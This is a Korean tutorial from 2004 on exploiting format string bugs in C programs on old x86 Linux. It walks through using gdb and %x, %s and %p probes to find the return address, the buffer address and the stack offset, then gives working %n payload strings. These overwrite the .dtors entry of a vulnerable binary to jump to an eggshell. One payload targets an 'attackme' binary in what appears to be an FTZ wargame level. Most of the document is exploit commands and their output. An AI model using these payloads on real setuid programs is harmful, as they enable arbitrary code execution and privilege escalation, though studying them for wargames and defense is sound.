포맷스트링 버그 정리 ver 0x01 -텅날개
글쓴이 : ttongfly@ttongfly.net2004. 2. 20
홈페이지 : http://ttongfly.net
관련문서 : 포맷스트링 공격에 대한 분석 -biksaint@wowhacker.org
====================================================================
1. main 함수의 리턴 어드레스 찾기
[newbieup@WizardServer newbieup]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
[newbieup@WizardServer /tmp]$ cat a1.c
main()
{
printf(“ttongfly\\n”);
}
[newbieup@WizardServer /tmp]$ gcc -o a1 a1.c
[newbieup@WizardServer /tmp]$ gdb -q a1
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /tmp/a1
Breakpoint 1, 0x80483cb in main ()
(gdb) x/2x $ebp
0xbffffbd8: 0xbffffbf80x4002f1eb
egcs 2.91.66 메인함수의 리턴 어드레스는 0x4002f1eb이다.
2. 스택과의 거리 계산
[root@ttongfly test]# cat fmt.c
#include stdio.h
main(void)
{
char buf[100];
fgets(buf, 100, stdin);
printf(buf);
}
[root@ttongfly test]# gcc -o fmt fmt.c
[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x10\’;cat)|./fmt
AAAA6440157c204002baf4414141417825782578257825782578257825782578257825a
[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x5\’;cat)|./fmt
AAAA6440157c204002baf44141414178257825
[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x4\’;cat)|./fmt
AAAA6440157c204002baf441414141
[root@ttongfly test]# (perl -e \’print “AAAA”; print “%x”x3\’;cat)|./fmt
AAAA 644015 7c2040 02baf4
%x가 3개 이후에 입력한 AAA의 값인 414141이 나타난다는 것을 알 수 있으므로
%x%x%x(%x3개)로 패딩처리해야 한다는 것을 알 수 있다.
3. 버퍼 주소 찾기
버퍼의 주소를 찾기 위하여 다음과 같은 문자열을 사용하면 된다
A는 4의 배수
[AAAAAAAAA….AAAA][버퍼예상주소][%x%x%x패딩][%x%x%x:A의개수 나누기4][%s]
마지막에 %s를 이용하면 버퍼예상주소로부터 내용을 출력하게 된다. 만약 버퍼 예상주소가
실제 버퍼주소랑 일치하게 되면 입력한 문자열이 그대로 출력되게 된다.
[root@ttongfly test]# (perl -e \’print “A”x40;print “\\x50\\xfa\\xff\\xbf”;print”%x”x3;print”%x”x10;print”%s”\’;cat)|./fmt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP??440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141@ Y@x?역@
[root@ttongfly test]# (perl -e \’print “A”x40;print “\\x20\\xfa\\xff\\xbf”;print”%x”x3;print”%x”x10;print”%s”\’;cat)|./fmt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ??440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141%x%x%x%s
[root@ttongfly test]# (perl -e \’print “A”x40;print “\\xf0\\xf9\\xff\\xbf”;print”%x”x3;print”%x”x10;print”%s”\’;cat)|./fmt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA琮?440157c204002baf441414141414141414141414141414141414141414141414141414141414141414141414141414141AAAAAAAAAAAAAAAAAAAAAAAA琮?x%x%x%x%x%x%x%x%x%x%x%x%x%s
몇번의 실행끝에 버퍼의 주소는 0xbfffff9f0임을 알 수 있었다.
gdb로 확인해보니 일치하였다. -ㅁ-
4. 버퍼와 main함수의 리턴 어드레스 사이의 거리찾기
[root@ttongfly test]# (perl -e \’print “%x”x3;print “%p”x32\’;cat)|./fmt
6440157c204002baf40x782578250x702578250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xa70250x4003a9310x80482fe0x40159f780x401599800xbffffa480x804828d0x4000cc100xbffffaa40xbffffa580x80483c20x401599800x400159200xbffffa780x4003aa07
%p를 32개 입력하였을 경우 main함수의 리턴 어드레스가 나타났다.
여기서 버퍼와 main함수의 리턴어드레스 사이의 거리는 (32-1)*4바이트이다.
여기서 -1을 해야하는 이유는 오프셋 개념이 0부터 시작하기 때문이다. 따라서 버퍼와
main함수의 리턴어드레스 사이는 다음과 같다.
31 * 4 = 124 = 0x7c
따라서 실제 main함수의 리턴어드레스의 스택 상에서의 위치는 다음과 같이 셈할 수 있다.
0xbffff9f0 + 0x7c = 0xbffffa6c
5. 포맷 스트링 공격
포맷스트링 공격의 기본적인 공격문자열은 다음과 같다]
[AAAA][ret][AAAA][ret+2][%08x%08x%08x패딩][%12345c][%n][%12345c][%n][eggshell]
4 4 44 (4*3)127272
리턴어드레스 : 0xbffffa6c
[ttongfly@ttongfly test]$ ./egg
Using address: 0xbffffa28
[ttongfly@ttongfly test]$ objdump -h fmt|grep dtors
18 .dtors000000080804954408049544000005442**2
공격할 주소 : 0x8049544 + 4 = 0x8049548
egg 쉘 : Using address: 0xbffffa28
fa28(64040) – 16 – 패딩값 12 = 64012
1bfff – fa28 = 50647
(printf “\\x41\\x41\\x41\\x41\\x48\\x95\\x04\\x08\\x41\\x41\\x41\\x41\\x4a\\x95\\x04\\x08%08x%08x%%64012c%%n%%50647c%%n”;cat)|./fmt
[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
덮어씌울 곳: 0x0804950c
fab8(64184) – 16 = 64168
1bfff – fab8 = 50503
(printf “\\x41\\x41\\x41\\x41\\x0c\\x95\\x04\\x08\\x41\\x41\\x41\\x41\\x0e\\x95\\x04\\x08%%64168c%%n%%50503c%%n”;cat)|./attackme